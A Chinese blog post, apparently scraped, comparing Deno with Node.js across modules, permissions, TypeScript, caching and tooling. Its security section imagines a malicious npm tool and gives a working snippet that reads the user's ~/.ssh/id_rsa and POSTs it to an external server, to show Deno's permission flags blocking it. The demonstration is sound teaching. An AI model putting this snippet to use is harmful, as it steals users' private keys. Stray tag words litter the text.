Deno 正式发布,完全弄明白和 node 的区别

前言

Deno 已经正式发布了🎉!javascript

我说这句话时候,是否是不少前端 和 NodeJS 工(码)程(农)师已经按不住本身的40米大刀了。心中的不只感慨前端是真的会造轮子,有了 node 还不够吗,还没学会 node 又搞了个 deno,node 和 deno 啥区别?!html

的确,deno 和 node 形态很类似,要解决的问题彷佛也相同,那他们到底有啥区别,这一切到底是道德的沦丧仍是 ry (做者)人性的扭曲,让咱们走进本篇文章,一探究竟。前端

Deno VS Node

Node Deno
API 引用方式 模块导入 全局对象
模块系统 CommonJS & 新版 node 实验性 ES Module ES Module 浏览器实现
安全 无安全限制 默认安全
Typescript 第三方,如经过 ts-node 支持 原生支持
包管理 npm + node_modules 原生支持
异步操做 回调 Promise
包分发 中心化 npmjs.com 去中心化 import url
入口 package.json 配置 import url 直接引入
打包、测试、格式化 第三方如 eslint、gulp、webpack、babel 等 原生支持

1.内置 API 引用方式不一样

node 模块导入

node 内置 API 经过模块导入的方式引用,例如:vue

const fs = require("fs");
fs.readFileSync("./data.txt");

deno 全局对象

而 deno 则是一个全局对象 Deno 的属性和方法:java

Deno.readFileSync("./data.txt");

具体 deno 有哪些方法,咱们能够经过 repl 看一下:node

deno # 或 deno repl

进入 repl 后,输入 Deno 回车,咱们能够看到:react

{
 Buffer: [Function: Buffer],
 readAll: [AsyncFunction: readAll],
 readAllSync: [Function: readAllSync],
 writeAll: [AsyncFunction: writeAll],
 writeAllSync: [Function: writeAllSync],
 # .....
}

这种处理的方式好处是简单、方便,坏处是没有分类,想查找忘记的 API 比较困难。整体来讲见仁见智。webpack

2.模块系统

咱们再来看一下模块系统,这也是 deno 和 node 差异最大的地方,一样也是 deno 和 node 不兼容的地方。git

node CommonJS 规范

咱们都知道 node 采用的是 CommonJS 规范,而 deno 则是采用的 ES Module 的浏览器实现,那么咱们首先来认识一下:es6

ES Module 的浏览器实现

具体关于 ES Module 想必你们都早已熟知,但其浏览器实现可能你们还不是很熟悉,因此咱们先看一下其浏览器实现:

<body>
  <!-- 注意这里必定要加上 type="module" -->
  <script type="module">
    // 从 URL 导入
    import Vue from "https://unpkg.com/vue@2.6.11/dist/vue.esm.browser.js";
    // 从相对路径导入
    import * as utils from "./utils.js";
    // 从绝对路径导入
    import "/index.js";

    // 不支持
    import foo from "foo.js";
    import bar from "bar/index.js";
    import zoo from "./index"; // 没有 .js 后缀
  </script>
</body>

deno 的模块规范

deno 彻底遵循 es module 浏览器实现,因此 deno 也是如此:

// 支持
import * as fs from "https://deno.land/std/fs/mod.ts";
import { deepCopy } from "./deepCopy.js";
import foo from "/foo.ts";

// 不支持
import foo from "foo.ts";
import bar from "./bar"; // 必须指定扩展名

咱们发现其和咱们日常在 webpack 或者 ts 使用 es module 最大的不一样

  • 能够经过 import url 直接引用线上资源;
  • 资源不可省略扩展名和文件名。

关于第 1 点,争议很是大,有人很看好,以为极大的扩展了 deno 库的范围;有人则不太看好,以为国内网速的缘由,并不实用。你们的见解如何,欢迎在评论区发表 🤔

3.安全

若是模块规范是 node 和 deno 最大的不一样,那么对安全的处理,则是另一个让人摸不着头脑的地方。

模拟盗号

在介绍以前咱们先思考一下这个场景会不会出现:

我作了一个基于命令行的一键上网工具 breakwall,每个月 1 个 G 免费流量,而后将压缩后的 JS 代码发布到 npm 上,而后后在各类渠道宣传一波。

羊毛党兴高彩烈的 cnpm install -g breakwall,而后每次使用的时候,我偷偷的将诸位的 ssh 密钥和各类能偷的文档及图片偷偷上传到个人服务器,在设按期限到期后,删除电脑上资料,留下一句拿钱换资料,仅支持比特币。

默认安全的 deno

若是你以为以上状况有可能出现,则会以为下面的功能很实用。咱们先用 deno 执行如下代码:

// index.js
let rsa = Deno.readFileSync(Deno.dir("home") + "/.ssh/id_rsa");

rsa = new TextDecoder().decode(rsa);

fetch("http://jsonplaceholder.typicode.com/posts/1", {
  method: "POST",
  body: JSON.stringify(rsa)
})
  .then((res) => res.json())
  .then((res) => console.log("密钥发送成功,嘿嘿嘿😜"));

console.log("start breakwall...");
PS: --unstable 是因为 Deno.dir API 不稳定
> deno run --unstable index.js

咱们将会获得以下报错信息:

> deno run --unstable  index.js
error: Uncaught PermissionDenied: access to environment variables, run again with the --allow-env flag
    ...

意思就是权限异常,须要访问环境变量,须要加上 --allow-env,咱们加上这个参数再试一下。

> deno run --unstable --allow-env index.js
error: Uncaught PermissionDenied: read access to "/Users/zhangchaojie/.ssh/id_rsa", run again with the --allow-read flag
    ...

如此反复,还需加上 --allow-read--allow-net ,最终的结果是:

> deno run --unstable --allow-env --allow-read --allow-net  index.js
start breakwall...
密钥发送成功,嘿嘿嘿😜

通过一番折腾,总算是发送成功了,要想盗取密钥实属不易。

白名单

那有人就说了,若是个人应用确实须要访问网络和文件,可是有不想让它访问 .ssh 文件有没有办法?

固然有了,咱们能够给 --allow-read--allow-net 指定白名单,名单以外都不可访问,例如:

> deno run --unstable --allow-env --allow-read --allow-net=https://www.baidu.com  index.js
start breakwall...
error: Uncaught PermissionDenied: network access to "http://jsonplaceholder.typicode.com/posts/1", run again with the --allow-net flag
    at unwrapResponse ($deno$/ops/dispatch_json.ts:43:11)
    at Object.sendAsync ($deno$/ops/dispatch_json.ts:98:10)
    at async fetch ($deno$/web/fetch.ts:591:27)

简化参数

若是确认是没问题,或者是本身开发软件时,图个方便,能够直接使用 -A--allow-all 参数容许全部权限:

> deno -A --unstable index.js
start breakwall...
密钥发送成功,嘿嘿嘿😜

安全这方面见仁见智,有人以为是多余,有人以为很好用,极大的加强了安全性。若是你属于以为这个功能多余的,能够 deno run -A xxx 便可。

4.兼容浏览器 API

不少人不理解,为何你一个服务端语言要兼容浏览器 API,以及怎么兼容。

为何要兼容浏览器 API

关于为何,我举个栗子你们就明白了:在设计 node 之处,关于输出函数原本叫 print 之类的,后来有人提议为何不叫 console.log,ry 以为挺不错,因而就接纳了意见。

可是,这个设计并非刻意为之,而 deno 的设计则能够为之,经过与浏览器 API 保持一致,来减小你们的认知

怎么兼容浏览器 API

概念上兼容
  • 模块系统,从上面介绍看出 deno 是彻底遵循浏览器实现的;
  • 默认安全,固然也不是本身创造的概念,w3c 早已作出浏览器权限的规定,咱们在作小程序的时候尤其明显,须要获取各类权限;
  • 对于异步操做返回 Promise;
  • 使用 ArrayBuffer 处理二进制;
  • 等等...
存在 window 全局变量
console.log(window === this, window === self, window === globalThis);
实现了 WindowOrWorkerGlobalScope 的所有方法

具体方法列表,咱们能够参考:lib.deno.shared_globals.d.tslib.deno.window.d.ts

// 请求方法
fetch("https://baidu.com");

// base64 转化
let encodedData = btoa("Hello, world"); // 编码
let decodedData = atob(encodedData); // 解码

// 微任务
queueMicrotask(() => {
  console.log(123);
});

// 等等...
大趋势

整体而言,若是服务端和浏览器端存在相同概念,deno 就不会创造新的概念。这一点其实 node 也在作,新的 node 14.0 CHANGELOG 就也说起要实现 Universal JavaScriptSpec compliance and Web Compatibility的思想,因此这点你们应该都会接受吧,毕竟大势所趋趋势。

5.支持 Typescript

无论你喜欢与否,2020 年了,必须学习 TS 了(起码在面试的时候是亮点)。学完以后你才会明白王境泽定律真的无处不在。

// index.ts
let str: string = "王境泽定律";
str = 132;
> deno run index.ts
error TS2322: Type '123' is not assignable to type 'string'.

► file:///Users/zhangchaojie/Desktop/index.ts:2:1

2 str = 123

6.去 node_modules

deno 没有 node_modules,那么它是怎么进行包管理的呢?咱们先看下面的例子

// index.js
import { white, bgRed } from "https://deno.land/std/fmt/colors.ts";

console.log(bgRed(white("hello world!")));
> deno run index.js
Download https://deno.land/std/fmt/colors.ts
Compile https://deno.land/std/fmt/colors.ts
hello world!

咱们看到其有 DownloadCompile 两个步骤,咱们会产生几个疑问:

一、每次执行都要下载吗?

解:咱们只须要再执行一次就能明白,不须要每次下载。

> deno run index.js
hello world!

二、Download 和 Compile 的文件在哪里呢?

解:咱们会发现,当前执行的目录,并无 Download 和 Compile 文件,那文件放在哪里呢,咱们首先来看一下 deno --help 命令:

> deno --help
SUBCOMMANDS:
# ...
info           Show info about cache or info related to source file

# ...
ENVIRONMENT VARIABLES:
    DENO_DIR   Set deno's base directory (defaults to $HOME/.deno)

deno info 命令展现了依赖关系,相似 package.json

> deno info index.js
local: /Users/zhangchaojie/Desktop/index.js
type: JavaScript
deps:
file:///Users/zhangchaojie/Desktop/index.js
  └── https://deno.land/std/fmt/colors.ts

DENO_DIR 则为实际的安装和编译目录,至关于 node_modules,默认为 $HOME/.deno(命令提示是这样的,但实际须要指定一下环境变量 export DENO_DIR=$HOME/.deno),咱们看一下:

> tree $HOME/.deno
/Users/zhangchaojie/.deno
├── deps
│   └── https
│       └── deno.land
│           ├── 3574883d8acbaf00e28990ec8e83d71084c4c668c1dc7794be25208c60cfc935
│           └── 3574883d8acbaf00e28990ec8e83d71084c4c668c1dc7794be25208c60cfc935.metadata.json
└── gen
    └── https
        └── deno.land
            └── std
                └── fmt
                    ├── colors.ts.js
                    ├── colors.ts.js.map
                    └── colors.ts.meta

8 directories, 5 files

三、没网络了怎么办?

咱们有些场景是将本地写好的代码部署到没有网络的服务器,那么当执行 deno run xxx 时,就是提示 error sending request。

解:将上面的缓存目录内容,直接拷贝到服务器并指定环境变量到其目录便可。

四、依赖代码更新了怎么办?

解:当依赖模块更新时,咱们能够经过 --reload 进行更新缓存,例如:

> deno run --reload index.js

咱们还能够经过白名单的方式,只更新部分依赖。例如:

> deno run --reload=https://deno.land index.js

五、仅缓存依赖,不执行代码有办法吗?

解:有的,咱们能够经过 deno cache index.js 进行依赖缓存。

六、多版本怎么处理?

解:暂时没有好的解决方案,只能经过 git tag 的方式区分版本。

7.标准模块 与 node API 兼容

咱们经过第 1 点能够看到,其实 deno 的 API 相对于 node 实际上是少一些的,经过其文件大小也能看出来:

> ll /usr/local/bin/node /Users/zhangchaojie/.local/bin/deno
-rwxr-xr-x  1   42M   /Users/zhangchaojie/.local/bin/deno
-rwxr-xr-x  1   70M   /usr/local/bin/node

那这些少的 API 只能本身写或者求助于社区吗?

deno 对于自身相对于 node 少的和社区中经常使用的功能,提供了标准模块,其特色是不依赖非标准模块的内容,达到社区内的模块引用最后都收敛于标准模块的效果。例如:

// 相似 node 中 chalk 包
import { bgRed, white } from "https://deno.land/std/fmt/colors.ts";

// 相似 node 中的 uuid 包
import { v4 } from "https://deno.land/std/uuid/mod.ts";

同时为了对 node 用户友好,提供了 node API 的兼容

import * as path from "https://deno.land/std/node/path.ts";
import * as fs from "https://deno.land/std/node/fs.ts";

console.log(path.resolve('./', './test'))

因此,你们在为 deno 社区作贡献的时候,首先要看一下标准模块有没有提供相似的功能,若是已经提供了能够进行引用。

8.异步操做

根据 ry 本身是说法,在设计 node 是有人提议 Promise 处理回调,可是他没听,用他本身的话说就是愚蠢的拒绝了。

node 用回调的方式处理异步操做、deno 则选择用 Promise

// node 方式
const fs = require("fs");
fs.readFile("./data.txt", (err, data) => {
  if (err) throw err;
  console.log(data);
});

另外 deno 支持 top-level-await,因此以上读取文件的代码能够为:

// deno 方式
const data = await Deno.readFile("./data.txt");
console.log(data);

node 关于这方面也在一直改进,例如社区上不少 promisify 解决方案,经过包裹一层函数,实现目的。例如:

// node API promisify
const { promisify } = require("es6-promisify");
const fs = require("fs");

// 没有 top-level-await,只能包一层
async function main() {
  const readFile = promisify(fs.readFile);
  const data = await readFile("./data.txt");
  console.log(data);
}

main();

9.单文件分发

咱们知道 npm 包必须有 package.json 文件,里面不只须要指明 mainmodulebrowser 等字段来标明入口文件,还须要指明 namelicensedescription 等字段来讲明这个包。

ry 以为这些字段扰乱了开发者的视听,因此在 deno 中,其模块不须要任何配置文件,直接是 import url 的形式。

10.去中心化仓库

对于 www.npmjs.com 咱们确定都不陌生,它是推进 node 蓬勃发展的重要支点。但做者认为它是中心化仓库,违背了互联网去中心化原则。

因此 deno 并无一个像 npmjs.com 的仓库,经过 import url 的方式将互联网任何一处的代码均可以引用。

PS:deno 实际上是有个基于 GitHub 的第三方模块集合

11.去开发依赖

咱们在写一个 node 库或者工具时,开发依赖是少不了的,例如 babel 作转化和打包、jest 作测试、prettier 作代码格式化、eslint 作代码格式校检、gulp 或者 webpack 作构建等等,让咱们在开发前就搞得筋疲力尽。

deno 经过内置了一些工具,解决上述问题。

  • deno bundle:打包命令,用来替换 babelgulp 一类工具: 例如:deno bundle ./mod.ts
  • deno fmt:格式化命令,用来替换 prettier 一类工具,例如:deno fmt ./mod.ts
  • deno test:运行测试代码,用来替换 jest 一类工具,例如 deno test ./test.ts
  • deno lint:代码校检(暂未实现),用来替换 eslint 一类工具,例如:deno lint ./mod.ts

后记

就像小时候一直幻想的炸弹始终没能炸了学校,技(轮)术(子)的进(制)步(造)一直也未中止过。不论咱们学的动或者学不动,技术就在那里,不以人的意志为转移。

至于 deno 能不能火,我我的以为起码一两年内不会有太大反响,以后和 node 的关系有可能像 Vue 和 react,有人喜欢用 deno,以为比 node 好一万倍,有人则喜欢 node ,以为 node 还能再战 500 年。至于最终学不学还看本身。

若是以为文章不错,记得点赞、收藏啦~~~~

相关文章
相关标签/搜索